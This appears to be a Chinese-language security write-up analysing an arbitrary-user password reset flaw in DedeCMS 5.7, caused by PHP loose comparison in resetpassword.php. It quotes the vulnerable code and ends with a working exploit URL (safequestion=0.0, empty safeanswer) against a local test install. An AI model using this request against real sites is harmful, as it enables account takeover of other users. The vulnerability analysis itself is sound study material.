DedeCms5-7任意用户密码重置分析

代码分析

漏洞利用点主要是php弱类型的判断缺陷,漏洞代码位于 member\resetpassword.php

主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}

}
1
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

在该处使用了双等号进行判断,因此我们可以利用弱类型的特性进行绕过,默认注册用户是没有设置安全问题的,我们在数据库看一下默认的值

safequestion的值为0,safeanswer值为空

对于上方的判断

1
2
3
if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

最后的safequestion值为0,safeanswer值为空,这样对于safequestion,我们可以使用0.0 0.这样的字符串使他们强制转换为int后变为0 达到绕过判断的目的,而对于safeanswer我们直接置空就好

绕过之后我们会进入sn()函数

1
sn($mid, $row['userid'], $row['email'], 'N');

定位函数,该函数在/member/inc/inc_pwd_functions.php中,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

首先该函数会在#@__pwd_tmp表中查询是否存在临时密码,当我们第一次重置密码时,该表中是没有值的,而后通过下面的判断,我们自然的进入了newmail函数

1
newmail($mid,$userid,$mailto,'INSERT',$send);

该函数同样在/member/inc/inc_pwd_functions.php 中,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}
elseif($type == 'UPDATE')
{
$key = md5($randval);
$sql = "UPDATE `#@__pwd_tmp` SET `pwd` = '$key',mailtime = '$mailtime' WHERE `mid` ='$mid';";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php');
}
elseif($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
ShowMsg('对不起修改失败,请与管理员联系', 'login.php');
}
}
}

根据前面的参数传递,最后会执行到这里

1
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);

在这里$randval是我们所不知道的随机字符串,但是该行信息会进行回显输出,这也正是我们进行下一步密码重置操作所需要的链接

我们继续来看getpasswd的操作,代码位于 member\resetpassword.php,关键代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
else if($dopost == "getpasswd")
{
//修改密码
if(empty($id))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
$mid = preg_replace("#[^0-9]#", "", $id);
$row = $db->GetOne("SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'");
if(empty($row))
{
ShowMsg("对不起,请不要非法提交","login.php");
exit();
}
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}
showmsg('对不起,新密码为空或填写不一致', '-1');
exit;
}
showmsg('对不起,临时密码错误', '-1');
exit;
}
}

第一次会执行到这里

1
2
3
4
5
6
7
8
9
10
11
12
if(empty($setp))
{
$tptim= (60*60*24*3);
$dtime = time();
if($dtime - $tptim > $row['mailtime'])
{
$db->executenonequery("DELETE FROM `#@__pwd_tmp` WHERE `md` = '$id';");
ShowMsg("对不起,临时密码修改期限已过期","login.php");
exit();
}
require_once(dirname(__FILE__)."/templets/resetpassword2.htm");
}

该段代码最后请求了/templets/resetpassword2.htm 这个页面,我们来看一下

页面将step的值修改为2后又回到上面那段代码,接着执行该段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
elseif($setp == 2)
{
if(isset($key)) $pwdtmp = $key;

$sn = md5(trim($pwdtmp));
if($row['pwd'] == $sn)
{
if($pwd != "")
{
if($pwd == $pwdok)
{
$pwdok = md5($pwdok);
$sql = "DELETE FROM `#@__pwd_tmp` WHERE `mid` = '$id';";
$db->executenonequery($sql);
$sql = "UPDATE `#@__member` SET `pwd` = '$pwdok' WHERE `mid` = '$id';";
if($db->executenonequery($sql))
{
showmsg('更改密码成功,请牢记新密码', 'login.php');
exit;
}
}
}

该段进行了最后一步重置密码的操作

漏洞利用

首先访问链接 http://127.0.0.1/dedecms/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanswer=&id=1

抓包repeater取回带有key的链接

访问该链接,即可重置密码